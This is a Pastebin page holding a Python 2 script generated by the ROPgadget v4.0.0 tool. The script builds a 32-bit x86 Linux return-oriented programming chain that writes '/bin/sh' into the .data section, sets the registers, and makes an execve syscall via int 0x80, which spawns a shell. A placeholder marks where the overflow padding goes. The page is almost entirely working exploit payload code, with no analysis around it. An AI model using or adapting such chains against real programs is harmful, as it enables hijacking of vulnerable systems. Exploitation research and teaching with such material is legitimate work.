Advertisement
Guest User

ROPGadget v4.0.0 example

a guest
Jan 29th, 2013
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.55 KB | None | 0 0
  1. #!/usr/bin/python
  2. # execve generated by Ropgadget v4.0.0
  3. from struct import pack
  4.  
  5. p = ''
  6. # Padding goes here
  7.  
  8. p += pack("<I", 0x08050dda) # pop %edx ; ret
  9. p += pack("<I", 0x080cd6a0) # @ .data
  10. p += pack("<I", 0x080a49f6) # pop %eax ; ret
  11. p += "/bin" # /bin
  12. p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
  13. p += pack("<I", 0x08050dda) # pop %edx ; ret
  14. p += pack("<I", 0x080cd6a4) # @ .data + 4
  15. p += pack("<I", 0x080a49f6) # pop %eax ; ret
  16. p += "/shA" # /shA
  17. p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
  18. p += pack("<I", 0x08050dda) # pop %edx ; ret
  19. p += pack("<I", 0x080cd6a7) # @ .data + 7
  20. p += pack("<I", 0x080577f0) # xor %eax,%eax ; ret
  21. p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
  22. p += pack("<I", 0x08048144) # pop %ebx ; ret
  23. p += pack("<I", 0x080cd6a0) # @ .data
  24. p += pack("<I", 0x080c4f5a) # pop %ecx ; ret
  25. p += pack("<I", 0x080cd6a7) # @ .data + 7
  26. p += pack("<I", 0x08050dda) # pop %edx ; ret
  27. p += pack("<I", 0x080cd6a7) # @ .data + 7
  28. p += pack("<I", 0x080577f0) # xor %eax,%eax ; ret
  29. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  30. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  31. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  32. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  33. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  34. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  35. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  36. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  37. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  38. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  39. p += pack("<I", 0x0806afaf) # inc %eax ; ret
  40. p += pack("<I", 0x08049129) # int $0x80
  41. print p
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement